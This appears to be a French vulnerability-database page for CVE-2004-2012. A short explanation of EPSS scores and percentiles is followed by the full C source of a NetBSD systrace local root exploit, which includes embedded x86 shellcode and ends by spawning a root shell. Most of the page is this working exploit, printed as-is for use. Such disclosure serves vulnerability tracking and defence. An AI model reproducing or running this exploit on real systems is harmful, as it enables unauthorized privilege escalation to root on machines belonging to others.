CVE-2004-2012 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

// source: https://www.securityfocus.com/bid/10320/info A vulnerability has been reported that affects Systrace on NetBSD, as well as the FreeBSD port by Vladimir Kotal. The source of the issue is insufficient access validation when a systraced process is restoring privileges. This issue can be exploited by a local attacker to gain root privileges on a vulnerable system. #include <stdio.h> #include <sys/ioctl.h> #include <fcntl.h> #include <sys/systrace.h> #define systrace_device "/dev/systrace" char MAGIC[] = "\x53\x31\xc0\x50\x50\x50\x50\xb8\x03\x00\x00\x00" "\xcd\x80\x83\xc4\x10\xb8\x00\x00\xc0\xbf\x94\x50" "\xb8\x03\x00\x00\x00\xcd\x80\x5b\x87\xe3\x5b\xc3"; void (*magic)(void) = MAGIC; int nbsd_systrace_open() { int fd; printf("[+] Connecting to %s... ", systrace_device); fd = open(systrace_device, O_RDONLY, 0); if (fd == -1) { perror("failed with error: "); printf("\nSorry but the exploit failed\n"); exit(1); } printf("done.\n"); return (fd); } int nbsd_attach_parent(int fd) { pid_t pid = getppid(); printf("[+] Attaching to parent... "); if (ioctl(fd, STRIOCATTACH, &pid) == -1) { perror("failed with error: "); printf("\nSorry but the exploit failed\n"); } printf("done.\n"); return (0); } void nbsd_handle_msg(int fd) { struct str_message msg; struct systrace_answer ans; int r; r = read(fd, &msg, sizeof(msg)); if (r != sizeof(msg)) { exit(1); } memset(&ans, 0, sizeof(ans)); ans.stra_pid = msg.msg_pid; ans.stra_seqnr = msg.msg_seqnr; ans.stra_policy = SYSTR_POLICY_PERMIT; ans.stra_flags = SYSTR_FLAGS_RESULT|SYSTR_FLAGS_SETEUID|SYSTR_FLAGS_SETEUID; ans.stra_error = 0; ans.stra_seteuid = getuid(); ans.stra_setegid = getgid(); if (ioctl(fd, STRIOCANSWER, &ans) == -1); } void doit() { int p,f,fd; fd = nbsd_systrace_open(); f = fork(); if (f == 0) { sleep(1); nbsd_attach_parent(fd); while (1) { nbsd_handle_msg(fd); } exit(1); } printf("[+] Doing some magic... "); sleep(2); magic(); setuid(0); setgid(0); kill(f, 9); if (getuid() != 0) { printf("failed.\n"); printf("\nSorry but the exploit failed."); exit(1); } printf("done.\n\n"); system("uname -v"); system("id"); execlp("/bin/sh", "/bin/sh", 0); } void banner() { printf("NetBSD/x86 systrace local root exploit\n"); printf("by ziegenpeter\n\n"); if (getuid() == 0) { printf("no comment\n"); exit(1); } } int main(int argc, char **argv) { int fd; banner(); doit(); return (0); }